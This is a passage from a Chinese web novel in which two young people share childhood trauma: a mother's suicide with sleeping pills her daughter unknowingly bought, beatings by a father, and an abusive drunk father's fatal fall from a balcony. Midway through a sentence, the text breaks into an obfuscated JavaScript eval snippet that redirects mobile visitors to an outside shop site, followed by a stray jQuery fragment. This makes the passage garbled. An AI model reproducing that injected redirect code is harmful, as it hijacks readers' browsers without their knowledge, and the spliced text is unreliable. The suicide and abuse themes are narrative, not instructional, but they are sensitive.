那是程槐清刚满八岁时候的事。
程槐清母亲身体不好，自从流过一次产，就没有再上班，三天两头就要去医院，有时候是父亲陪她去，有时候是她自己去。
她总能记起儿时屋里那股浓浓的中药味。
母亲喝中药怕苦，喝的时候就掐着自己的胳膊，一年三百六十五天这样熬下来，她的两只手上，几乎没一块好皮。
程槐清也曾经问过父母，母亲是得了什么重病，才要这样天天喝药。
她记得爸爸慈爱地摸着她的脑袋笑道：“妈妈没有病，妈妈是在养身体，等身体恢复了，就能再给你添一个小弟弟。”还问她想不想要一个小弟弟。
程槐清那时候不懂，但不止父亲这样说，爷爷奶奶偶尔到家里来的时候也这样说，她就觉得，她可能也是想要的吧，妈妈应该也是想要的吧。
后来母亲说她睡不着，每天给程槐清钱让她放学路过药店的时候帮她买几片安眠药，买药剩下的钱她可以在旁边的便利店买糖。
能吃到糖，程槐清当然是乐意的，于是将近一个月，每天都风雨无阻地帮她把药带回来。
然后，意外发生了。
程槐清过完八岁生日的那个周末，母亲拿了钱给她，让她去同学家里玩，可以吃完晚饭再回来。
在此之前，程槐清是不被允许去别人家待太久的，并且一定要回家吃晚饭。
于是，她那天在同学家玩到尽兴，过了饭点很久才回来。
回来的时候她还特意绕路去了一趟药店，给母亲买了药。
到了家门口，无论她怎么敲门，都没有人开，反倒是邻居家的奶奶开了门，问她：“小清，你今天下午跑哪去了，你妈妈出事了。”
“什么事？”她心头一颤。
“你妈妈吞安眠药自杀了。”
后来警察来家里调查，问那么多安眠药是哪里来的，她不敢隐瞒，老老实实交代了全部经过。
她记得自己还没说完，就挨了父亲一个结结实实的巴掌，半张脸瞬间没了知觉，耳朵里像有只烧水壶在尖叫。
不过，这只是前兆，警察离开后，程槐清挨了一顿让她铭记终身的毒打，痛得她求饶的话都讲不出来，只能趴在地上喘气。
后来，程槐清想想，父亲待她不好，大概也是怪她害死了母亲。
“我有时候在想，我做错了什么呢？我那时候什么都不知道，什么都不懂，我只是按照大人说的做，可是为什么，所有人都觉得是我害死了我妈？”程槐清用袖子抹着眼泪。
夜很安静，快到十二月，天气很冷，风吹得对面的菜地里干枯的瓜藤刷刷地响。
不知道是喝了酒的原因还是说出来的原因，身体里那些痛苦的漩涡好像全部搅在一起，被话语冲出了身体，她从内到外的感受到了一种安宁，却还是无法控制地掉眼泪。
“不是你的错。”
程槐清感觉到一只手伸过来握住了她的。
那只手很凉，但是很有力，紧紧握着她，让她不至于因为情绪太过激动而颤抖。
她抬眼，看到许润的脸。
月光撒下来，他的脸在那一刻离她如此之近，近到她看见他眼角下面一道浅浅的疤。
他的目光前所未有的温柔，安静地注视着她。
“不是你的错，”他说，“你没有错。”
“但是，程槐清，”他垂下眼睛，“我们不一样。”
“我有罪。”
……
说起来许润算得上拥有过一个快乐的童年时光，有一个健谈开朗的爸爸和大方爱漂亮的妈妈，是当时厂区家属院里人人都羡慕的一家人。
后来他小叔在外面发了点财，回到江城做了点小生意，他爸帮着搭把手，赚了点外快。
那会起他爸就经常出去应酬，不怎么着家了。
没过多久，他爸突然开始沉迷打牌，小叔那不去了，工作也常常不到岗，整天泡在棋牌室里，钱输完了就赊账，自己的工资赌完还要找许敏虹要，两人也因此常常吵架。
后来棋牌室被人举报，在场赌钱的人全部被抓，他爸也丢了工作。
没了工作，他就整天窝在家里喝酒，染上了酒瘾，一天里几乎没有清醒的时候。
喝了酒，他还打人。
那时候的许润经常被打，不止他被打，许敏虹也一样被打，甚至被打得更厉害，叫过好几次救护车，闹得人尽皆知。
社区的工作人员和警察轮番上门调解，但都没什么用，他该喝酒照喝，想打人就打。
很长一段时间，许润都很害怕回家，宁愿去医院守着妈妈睡塑料板凳，也不想回家看到他爸。
后来有一次，他爸下手特别重，把他和许敏虹都打进了医院，许敏虹终于动了离婚的念头。
她在外面找了间房子，把许润接了出去，还找了律师，开始走和他爸离婚的流程。至少那段时间，他觉得日子是有盼头的。
可是没过多久许敏怀孕了。
她不想离婚了，她想生下这个孩子，觉得这个孩子或许能让他爸振作起来。
许润又搬回了老房子。
可能是闹离婚的原因，这次回去他爸看起来正常了不少，知道洗菜做一点家务，酒也喝很少了。
但这样的日子没有维持多久，许敏虹在工厂的澡堂洗澡的时候摔倒了，孩子流产了。
医生说，是个女孩。
从那以后许敏虹整日以泪洗面，他爸又开始每天酗酒，一切都回到了原点。
他爸还是喝酒打人，下手比之前更重，许敏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913202|213212||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
虹身体甚至都还没有恢复也照样挨打，许润为了保护她，总是受很重的伤。
夏天上课，他甚至不敢穿短袖，捂出了好多热痱子。
那时候他就在想。
“要是爸爸死了就好了，只要他死了，就可以结束这一切了。”
可能是因为想了太多次，老天给了他一次机会。
有一天中午，许润放学回到家，进屋就闻到一股浓重的酒味，他爸果然躺在沙发上毫无形象地呼呼大睡。
他路过时不小心踢到了一个酒瓶，那个酒瓶跟多米诺骨牌一样，倒下的时候撂倒了一片。他爸被吵醒，怒气冲天地随手捡了个酒瓶砸他。
许润眼疾手快地躲开了，他爸更生气，从沙发上站起来要揍他。
一切都发生的那么巧。
许润为了躲他跑到了阳台门旁边，他爸举拳冲过来的时候，他拉开门，挡住了自己。
大概是酒还没有醒，他爸就这么直直冲了过去，阳台的护栏都没能拦住他，他冲的太狠，直接翻了下去。
他家虽然在三楼，但房子建在高台上，掉下去几乎没有生还的可能。
不过他爸比较幸运，掉下去的时候被路旁的树拦了一下，没有直接摔死，成了植物人，多住了三个月医院，最后还是死了。
事发只有他在场，所有人都传是他杀了他爸，无论是去上学还是在路上，都有人对他指指点点。
许敏虹为此和周围不少邻居翻了脸，后来干脆辞了工作，带着他换了个地方生活。
许润很多时候都在想，当时打开阳台门的那一刻，他究竟是为了自保，还是真的想要杀了他。
又或者，他爸的死，也许真的是他跟老天求来的。
“我和你不一样，”许润看着程槐清，眨眨眼，神色很平静，“我是真的希望他去死。”
他说完从兜里掏出来一盒烟，晃了晃，问：“不介意吧？”
程槐清微微压下眉头，但还是摇了摇脑袋。
许润点燃了烟，目光漠然地仰头望着天上的星空，手中的火星忽明忽灭。
他的一只手还握着程槐清，紧紧地握着，把她捏得有一点疼。
“所以，你觉得，许阿姨是因为流产的那个女儿才收养的我？”程槐清问。
“是，”许润转过脸，静静地看着她，缓慢开口：“会难过吗？”
“不会。”程槐清摇头。
她看着许润面前缓缓升起烟雾，说：“不论出于什么原因，她对我很好，这就足够了。”
“哪怕是因为另一个人？”许润问。
“嗯。”她盯着前方虚无的一处，小声说：“人不能这么较真，不然要怎么活。”
安静了许久，许润慢慢转过脸，轻笑了一声：“你说得对。”